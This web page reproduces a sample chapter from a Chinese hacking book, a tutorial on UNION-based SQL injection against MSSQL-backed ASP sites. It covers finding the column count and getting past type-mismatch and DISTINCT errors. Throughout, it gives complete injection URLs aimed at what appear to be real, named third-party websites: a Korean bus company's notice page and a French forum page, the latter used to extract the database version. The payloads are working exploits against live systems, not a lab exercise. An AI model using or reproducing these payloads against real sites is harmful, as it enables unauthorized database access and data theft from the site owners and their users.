当前位置:
首页 > 其他 > 《黑客渗透笔记》试读章节--union注入技巧

《黑客渗透笔记》试读章节--union注入技巧

原点注:为了让更多的人公平公正的了解这本书,决定把试读的章节公开在网上!希望对大家对本书有一个正确的认识,呵呵!当然这只是其中的一节哦!

在注入的时候还有一些情况我们也经常碰到,那就是没有错误回显。除了一个个去猜或者利用时间差的方法来盲注外,还有一个好的技巧就是union联合查询了。
可我最近发现union注入除了在和mysql搭配的时候极少出错外,和mssql搭配的时候问题就很多,如字段类型不匹配或者页面上没有可回显的内容。今天我们要解决的就是这两个问题。

但在这之前,我得提一下如何获得当前注入点的字段数。获得字段数的方法我知道的有三种,第一种就是利用having 1=1--逼出当前所的字段数,如
●http://www.kumhobuslines.co.kr/custom/Noti_02.asp?id=366%20having%201=1--●
有很多人利用这个方法暴得当前列名值,这样我们再利用group by 一行一行逼出所有字段数,如提交如下URL:
●http://www.kumhobuslines.co.kr/custom/Noti_02.asp?id=366%20group%20by%20khnotice.notice_id,khnotice.notice_idx,khnotice.name,khnotice.title,khnotice.writedate,
khnotice.fromdate,khnotice.todate,khnotice.filename,khnotice.tag,khnotice.readnum,khnotice.content%20having%201=1--●
返回如图1所示的信息。

图1

这里得到的错误不再是列名了,而是出现了类似“类型不匹配”的信息,再数一下,发现一共有十一个表,那么字段数当然就是11了。第二种利用的就是order by N的方式了,
注意了,不一定非要order by 11返回正确order by 12返回错误就确定字段数是11。我这里的●order by 11●一样是返回错误,如图2。

图2


因此这里主要看返回的信息提示。而提交●order by 12●时的返回信息如图3。

图3

第三种方法就是●and 1=2 union select n1,n2……●这样的方法一个一个去试,是的,如果字段数一多再加上没有回显,这种方法是很没有意思的,但请不要忽略这种方法。
我有一次碰到的就是不能order by,但利用这个方法依次猜到当前字段数。

字段数取得后接下来就是回显问题,如何让像MYSQL一样把数字显示在当前页面中呢。如上例中,我们会提交如下URL:
●http://www.kumhobuslines.co.kr/custom/Noti_02.asp?id=366%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11●
这是我们常用的手法,但得到结果如图4。

图4

这个时候怎么办?有十一个字段,我们怎么确定是哪一个字段类型不符呢?要一个一个的替换后再看回显吗?如果你够聪明,你会想到全部用null来替换,我们来试一下,提交如下URL:
●http://www.kumhobuslines.co.kr/custom/Noti_02.asp?id=366%20and%201=2%20union%20select%20null,null,null,null,null,null,null,null,null,null,null●
返回的信息如图5。

图5

这下你是不是惊呆了?什么?竟然连null都出错。

其实不是的,我们仔细看一下错误回显,提示的并非类型不匹配,有个关键性的字眼是“DISTINCT”。我们来到MSDN查一下union的用法
(http://msdn.microsoft.com/zh-cn/events/bb399797.aspx),看一下官方的解释:

UNION
指定组合多个集合并将其作为单个集合返回。
ALL
指定组合多个集合并将其作为单个集合返回(包括重复项)。如果未指定,则从结果集合中删除重复项。

Union只能返加单个集合并且不包含重复项,而刚才看到的单词DISTINCT是“截然不同的”之意,显然我们这个注入语句后面包含了不同的结果集。
这里要解决的就是不让其暴错了,而不是匹配的问题,但其参数ALL就可以解决。我们提交:
●http://www.kumhobuslines.co.kr/custom/Noti_02.asp?id=366%20and%201=2%20union%20all%20select%20null,null,null,null,null,null,null,null,null,null,null●,
原本问题就这么解决了,但新的问题又来了,如图6所示。

图6

问题又来了,这里我遇到的情况比较特殊吧。但这里提醒一点就是因为NULL可以匹配任意类型,而我们遇到的大多数都是数字和字符型 ,
因此我们大可以用数字来一个一个的猜,而不用管这类错误,如我们把第一个1用NULL和用第二个2来用NULL来代替后发现返回的都是图6的错误,如图7。

图7

都是同一个类型的错误,我们不用管,继续用数字代替后面的NULL,到替换数字“4”的时候还是这样的错误,但当我把第五个NULL来用“5”代替的时候,我们想要的结果出现了,URL:
●http://www.kumhobuslines.co.kr/custom/Noti_02.asp?id=366%20and%201=2%20union%20all%20select%201,2,3,4,5,null,null,null,null,null,null●
如图8。

图8


就这样,一个非常怪的UNION注入完成了。

另外,如果字段数只有1个的话,我们大可不必去管是什么类型,当然也要配合union all了,我们可以直接进行查询,如:
●http://www.webdonline.com/fr/services/forums/inscription.asp?id=77%20and%201=2%20union%20all%20select%20@@version●
得到结果如图9

图9

总之,union注入的时候要灵活,要根据错误来不断变化。以上算是对union注入的一点小总结吧,希望对大家有用。

《黑客渗透笔记》试读章节--union注入技巧:等您坐沙发呢!

发表评论

表情
还能输入210个字